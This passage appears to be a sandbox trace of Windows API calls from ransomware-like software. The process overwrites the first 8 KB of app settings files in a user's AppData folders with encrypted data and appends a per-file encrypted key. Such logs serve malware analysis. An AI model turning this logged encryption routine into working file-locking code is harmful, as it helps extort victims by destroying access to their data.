(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.773] ReadFile (in: hFile=0xdf0, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.783] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.783] WriteFile (in: hFile=0xdf0, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.783] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.783] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.783] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.784] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.784] CloseHandle (hObject=0xdf0) returned 1 [0158.785] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0158.785] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0158.785] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.786] ReadFile (in: hFile=0xdf0, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.787] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.788] WriteFile (in: hFile=0xdf0, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.788] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.788] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.789] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.789] CloseHandle (hObject=0xdf0) returned 1 [0158.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0158.790] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.790] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.790] ReadFile (in: hFile=0xdf0, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.790] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.790] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.791] SetFilePointer (in: hFile=0xdf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.791] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.792] WriteFile (in: hFile=0xdf0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.792] CloseHandle (hObject=0xdf0) returned 1 [0158.794] WriteFile (in: hFile=0xdfc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.795] CloseHandle (hObject=0xdfc) returned 1 [0158.795] WriteFile (in: hFile=0xdfc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.796] CloseHandle (hObject=0xdfc) returned 1 [0158.799] WriteFile (in: hFile=0xdfc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.800] CloseHandle (hObject=0xdfc) returned 1 [0158.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0158.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.800] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.801] ReadFile (in: hFile=0xe10, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.813] SetFilePointer (in: hFile=0xe10, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.813] WriteFile (in: hFile=0xe10, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.814] SetFilePointer (in: hFile=0xe10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.814] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.814] WriteFile (in: hFile=0xe10, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.814] WriteFile (in: hFile=0xe10, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.814] CloseHandle (hObject=0xe10) returned 1 [0158.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.834] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0158.834] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.834] ReadFile (in: hFile=0xe10, lpBuffer=0x5c3408, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.834] SetFilePointer (in: hFile=0xe10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.834] WriteFile (in: hFile=0xe10, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.834] SetFilePointer (in: hFile=0xe10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.835] WriteFile (in: hFile=0xe10, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.836] WriteFile (in: hFile=0xe10, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.836] CloseHandle (hObject=0xe10) returned 1 [0158.838] WriteFile (in: hFile=0xe1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.839] CloseHandle (hObject=0xe1c) returned 1 [0158.840] WriteFile (in: hFile=0xe1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.843] CloseHandle (hObject=0xe1c) returned 1 [0158.843] WriteFile (in: hFile=0xe1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.844] CloseHandle (hObject=0xe1c) returned 1 [0158.845] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.845] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.845] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.846] ReadFile (in: hFile=0xe30, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.860] SetFilePointer (in: hFile=0xe30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.860] WriteFile (in: hFile=0xe30, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.860] SetFilePointer (in: hFile=0xe30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.861] WriteFile (in: hFile=0xe30, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.861] WriteFile (in: hFile=0xe30, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.861] CloseHandle (hObject=0xe30) returned 1 [0158.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.864] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0158.864] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.865] ReadFile (in: hFile=0xe30, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.865] SetFilePointer (in: hFile=0xe30, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.865] WriteFile (in: hFile=0xe30, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.865] SetFilePointer (in: hFile=0xe30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.865] WriteFile (in: hFile=0xe30, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.866] WriteFile (in: hFile=0xe30, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.867] CloseHandle (hObject=0xe30) returned 1 [0158.875] WriteFile (in: hFile=0xe3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.876] CloseHandle (hObject=0xe3c) returned 1 [0158.877] WriteFile (in: hFile=0xe3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.878] CloseHandle (hObject=0xe3c) returned 1 [0158.878] WriteFile (in: hFile=0xe3c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.879] CloseHandle (hObject=0xe3c) returned 1 [0158.880] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0158.880] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.880] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.881] ReadFile (in: hFile=0xe50, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.881] SetFilePointer (in: hFile=0xe50, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.881] WriteFile (in: hFile=0xe50, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.881] SetFilePointer (in: hFile=0xe50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.881] WriteFile (in: hFile=0xe50, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.882] WriteFile (in: hFile=0xe50, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.882] CloseHandle (hObject=0xe50) returned 1 [0158.887] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0158.887] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.887] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.888] ReadFile (in: hFile=0xe50, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.889] SetFilePointer (in: hFile=0xe50, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.889] WriteFile (in: hFile=0xe50, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.889] SetFilePointer (in: hFile=0xe50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.890] WriteFile (in: hFile=0xe50, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.890] WriteFile (in: hFile=0xe50, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.890] CloseHandle (hObject=0xe50) returned 1 [0158.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.891] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.891] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.892] ReadFile (in: hFile=0xe50, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.894] SetFilePointer (in: hFile=0xe50, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.894] WriteFile (in: hFile=0xe50, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.894] SetFilePointer (in: hFile=0xe50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.894] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.894] CryptEncrypt (in: 